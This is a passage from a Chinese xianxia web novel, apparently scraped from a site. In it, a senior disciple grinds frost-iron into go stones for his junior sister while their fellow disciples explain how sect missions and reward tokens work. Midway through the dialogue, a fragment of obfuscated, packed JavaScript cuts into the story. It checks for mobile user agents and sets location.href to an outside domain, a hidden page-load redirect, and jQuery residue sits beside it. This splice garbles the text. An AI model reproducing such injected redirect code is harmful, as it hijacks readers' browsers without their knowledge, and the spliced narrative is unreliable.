他自己也说不清是怎么了,他自小养在师尊身边,师尊喜静寡言,他耳濡目染,也养成了沉默少语的性子。 除了莫玄春和他说话时总没遮没拦,其他同门见了他,多半是恭敬有余,亲近不足。可自从见到这位名字和他十分相像的小师妹,他总觉得自己变了。 他会下意识地留意她的举动,忍不住想和她亲近、同她说话。 甚至……有很熟悉的感觉。 沈玄清倒也不想去细究这变化,或许有些事本就无需缘由,他目光落在那堆黑黢黢的凝霜铁上,岔开了话题:“这凝霜铁,你打算做什么用?” “我想……”沈玄宁眼睛一转,说出了自己的想法,“用这些凝霜铁和这块洗心玉,做一副棋子。” “做棋子?那如何用得了这么多?” 沈玄宁蹲下身,用手在地上比划了一个夸张的圆形,“我意思是,一块凝霜铁,就磨一颗棋子。” 沈玄清道:“你哪来这么大的棋盘?” “自然是有的。” 20.师门任务 沈玄清应下了这事,自那天起,他日日都得来沈玄宁的院子里面帮她做棋子,这些凝霜铁的寒气于他而言虽算不上大碍,却也需时时运转灵力抵御。 他每日耗着灵力,将那些黑黢黢的墨石细细打磨成圆润的棋子,沈玄宁就支着下巴坐在廊下,托着腮帮子看得认真。 以她如今的修为,别说打磨棋子,单是将凝霜铁托举起来都得费上不少劲儿,更别提长时间凝神雕琢了。 也不知道大师兄如今是什么修为,拿着这凝霜铁看着跟没事人一样,而且还能用灵力来磋磨它的形状。 沈玄宁忍不住问道:“大师兄,你如今是什么修为了啊?” “怎么?” “就是好奇。” 沈玄清磨着棋子没有抬眼,半晌才回了她一句:“元婴期大圆满。” “元婴期大圆满!” 那岂不是……马上就要化神了? 修真界修士修炼到元婴期已是极为不易,化神期更是一道天堑,百年内就有望化神的,更是能被载入史册,不世出的天才。 沈玄清看她的表情就知道她在想什么:“想要化神没那么容易。” 他依然耐心地坐在院子里磨着凝霜铁,灵力宛若一汪净水,包裹着凝霜铁缓缓旋转,而后一点点磨成棋子的形状,脚边的大强不知何时凑了过来,趴在他脚边一拱一拱的。 沈玄清低头瞥了眼这灵兽,又看见坐在廊下的沈玄宁打了个哈欠,眸光微动,像是忽然想到了什么,他抬起手伸出两指并拢一转,指尖灵光一闪,而后淡淡地说了一句:“下山来。” 沈玄宁闻言一脸疑惑地看着他,问道:“大师兄,你在和谁说话?” 话音未落,三道身影先后掠入院中,正是她另外的三位师兄。 冷玄明刚落地便是嚷嚷道:“大师兄,何事叫我们啊?” 林玄同道:“大师兄,这扩音术你可甚是少用啊,出大事儿了?” 宋玄之也猜测道:“难不成是有师门任务了?” “三师兄,四师兄,六师兄好。”沈玄宁忙从廊下起身朝着三位师兄行礼。 “嗯,小师妹好啊。” “自然是有事。”沈玄清抬了抬下巴,眼神示意他们看向院子中央那堆黑黢黢的墨石,言简意赅道:“磨这个。” 冷玄明顺着他的目光看去,瞧见那堆凝霜铁时先是一愣,随即有些无语地垮下脸:“大师兄,我们都多大岁数了?早就过了用凝霜铁淬炼灵力的时候了。” “凝霜铁啊?”林玄同走上前,饶有兴致地抬手搭在一块凝霜铁上,指尖刚触到石面,便像被针扎似的猛地缩回,倒吸一口凉气道:“怎么这么冰?” 他已是元婴期修士,寻常凝霜铁的寒气根本不会让他感觉到温度。 宋玄之也走上前,指尖轻轻拂过石面,沉吟道:“原来是千年凝霜铁,怪不得这寒气能冻到你。” 冷玄明瞪圆了眼睛:“这哪来的这么多千年凝霜铁啊?” 老实人沈玄宁指了指后面,道:“院子后面的一个小水潭里挖的。” 冷玄明奇道:“我从前时常在这房顶上睡觉,怎么不知道这后面小水潭里还有千年凝霜铁?” 然而震惊的事情还在后面,绕过凝霜铁的冷玄明似是看到了什么不得了的东西,惊呼声又炸了起来:“我靠!这什么玩意儿?” 他围着这小土坡一般高的洗心玉转了两圈,满眼难以置信:“这是该不会是洗心玉吧?” 寻常洗心玉能有拳头大已是珍品,可眼前这像座小山峰的一样的洗心玉,通体莹白,连一丝杂色都没有,价值已不知该如何估量了。 “怎么会有这么大的洗心玉?”冷玄明咂舌不已,冲着沈玄宁道:“小师妹,这该不会也是小水潭里挖的吧?” “是啊……”沈玄宁讷讷问道:“这很值钱吗?” 冷玄明道:“何止是值钱,你知道这拳头大的一块已经够……” “好了!”沈玄清突然开口,截住了冷玄明的话头,“干活吧。” 冷玄明悻悻地闭了嘴。 宋玄之的目光落在沈玄清手边那些磨好的凝霜棋子上,凝霜铁被打磨得圆融,显然是用极精纯的灵力细细雕琢过的,虽然大了一些,但还是十分明显地能看出是棋子的形状。 他温和一笑,问道:“大师兄是要我们把这些形状不一的凝霜铁,都磨成这般圆润的棋子吗?” 沈玄清颔首:“嗯。” “好的,我知道了。”宋玄之也寻了个地方坐了下来,抬手轻招,离他最近的一块凝霜铁便如被无形丝线牵引,稳稳落入他掌心。指尖触及墨石的刹那,他眉峰微蹙,随即立刻稳住心神,又对林玄同道:“你不是说感觉要晋升了么?这千年凝霜铁,也许能助你一臂之力。” “哦?”林玄同眼睛一亮,朝着沈玄清拱手一拜,“多谢大师兄。” 是以莫玄春提着食盒晃进院子时,看到的便是这样一幅景象—— 她的几位师兄弟都在院子里专心致志地磨着数量颇多的凝霜铁,而小师妹则是怀里抱着一头猪,监工一般地坐在旁边看着。 “哟。”莫玄春挑了挑眉问道:“这是啥阵仗?” “大师姐。”宋玄之等人纷纷和她打招呼。 “凝霜铁,你们拿这玩意儿在这儿回味童年呢?多大了还玩这个。”莫玄春踱步向前,看到洗心玉以后和冷玄明是一个反应,“嚯,好大的洗心玉啊,哪来的?” 冷玄明:“小师妹在后院挖的。” 莫玄春:“编点好的。” 沈玄宁:“……” 林玄同正专心致志地干着活,忽然闻到一阵味道,他鼻尖微动,下意识地四处嗅了嗅:“这什么味啊?怎么这么熟……” “是城南香伯家的臭豆腐!”冷玄明大惊失色,“大师姐,你又去隔壁符天峰抢他们的师门任务了?” “是啊。”莫玄春哈哈一笑,掀开了手里的食盒,一股浓郁的味道立刻弥漫开来:“小明要不要吃,我多买了一份。” 沈玄清缓缓闭了闭眼:“……” 沈玄宁望着食盒里辣椒堆积的臭豆腐,实在是想不通:“师门任务……和臭豆腐有什么关系?” 宋玄之道:“师妹刚来内门,可能不知道这师门任务的规矩。” 小说里是有提到师门任务的,沈玄宁自然是知道这事儿,但是确实是不知道这师门任务和臭豆腐有什么关系。 她立刻端正坐姿,虚心求教道:“还请三师兄赐教。” 宋玄之道:“所谓的师门任务,就是各峰峰主还有长老们会定期发布的一些任务,按照难易程度以星级排序,其中一星最为简单,五星则是最难。” 沈玄宁是一个很配合听讲的学生,立刻适时提问:“那三师兄,这任务都有些什么呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185223|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宋玄之娓娓道来:“凡世百姓若遇邪祟精怪侵扰,便会来向我宗求助,这类任务多是一星到三星,宗门也不会向百姓索取任何费用。而附属于逍遥宗的一些仙门世家,若遇上棘手的妖魔异兽,也会向我宗求援,这种一般是四星到五星,需要向各家仙门收取一定的费用。像玄慈这次去灵州镇压异兽,就是接到了灵州许氏的委托,此行危险,属于是五星级的任务。” 他又补充道:“当然,也不全是镇祟除妖的任务,只是那些日常任务的指向性一般都很强。比如求医问药之事,多由栖霞峰发布,也基本是由栖霞峰的弟子接取,机关法器这类,则多是玲珑峰的任务,其他峰的弟子即便接了,怕是也难以胜任。这些师门任务每日清晨会在各大主峰的万象碑上公示,各峰弟子接取后,按任务星级与完成度,能获得数量不等的逍遥令。 ” 沈玄宁道:“那这个逍遥令,有何用处呢?” 宋玄之道:“逍遥令是内门弟子完成师门任务的一种凭证,可在各大主峰换取自己需要的东西,比如去玲珑峰换取法器,去百灵峰换取灵兽,亦或是去栖霞峰换取丹药。” “所以那些不挑修为、不看专精的师门任务,就成了众多弟子哄抢的目标了。”宋玄之的语气里带了几分笑意,“其中最出名的任务,就是符天峰方师叔的了。” 沈玄宁好奇问道:“为何出名?” 宋玄之道:“因为方师叔的任务最简单,只需下山为他买些吃食即可。” 冷玄明嘴里吃了一口莫玄春给他的臭豆腐,含含糊糊接话道:“什么城南香伯的臭豆腐、东街王氏的麻辣涮肚,城北酒仙的炸小鱼……说是任务,其实就是下山帮方师叔他跑腿买零嘴。” “这也能叫师门任务?”沈玄宁听得目瞪口呆:“应该拿不到多少逍遥令吧?” 宋玄之道:“这任务,是五星级的。” 沈玄宁:“……” 她语气艰涩地确认:“三师兄,你的意思是,下山去给方师叔买臭豆腐,和五师兄去灵州镇压异兽是一个星级的吗?” “正是,这就是方师叔的任务最出名的原因了。” “这任务每天都有?” “是啊,每天都有。所以每天有许多弟子蹲守在符天峰的万象碑那边就是等着抢方师叔的任务,只不过方师叔的任务不是每日清晨张贴的,全看他什么时候想吃了。” 沈玄宁默默吐槽,这符天峰峰主方不夷嘴也是太馋了些。 冷玄明头痛道:“大师姐,你怎么又去符天峰抢这师门任务了啊,下回元清师兄见着我们,又要叨叨了,什么你们问剑峰的人不要去抢方师叔的任务啊之类的,我每次听完头都大了,分明我一次没抢过!他就逮着我薅!” 莫玄春闻言摆了摆手,道“哎呀,这小元子爱念叨又不是一天两天了,就抢这一回。” 林玄同道:“大师姐你上次也说就抢这一回的。” 莫玄春咳嗽了一声,道:“我就是看小师妹这院子里还缺些灵植,想去扶疏峰给她换些好东西回来,结果发现这逍遥令还差几个,这不想着顺路……” 莫玄春的声音戛然而止,因为地上突然出现了一堆红色的令牌,层层叠叠堆得像座小山。 沈玄清淡定地收回手,眼皮都没抬一下,又继续磨凝霜棋子了。 在场几人均是一脸的震惊。 “沈玄清!你哪来这么多逍遥令啊!!!”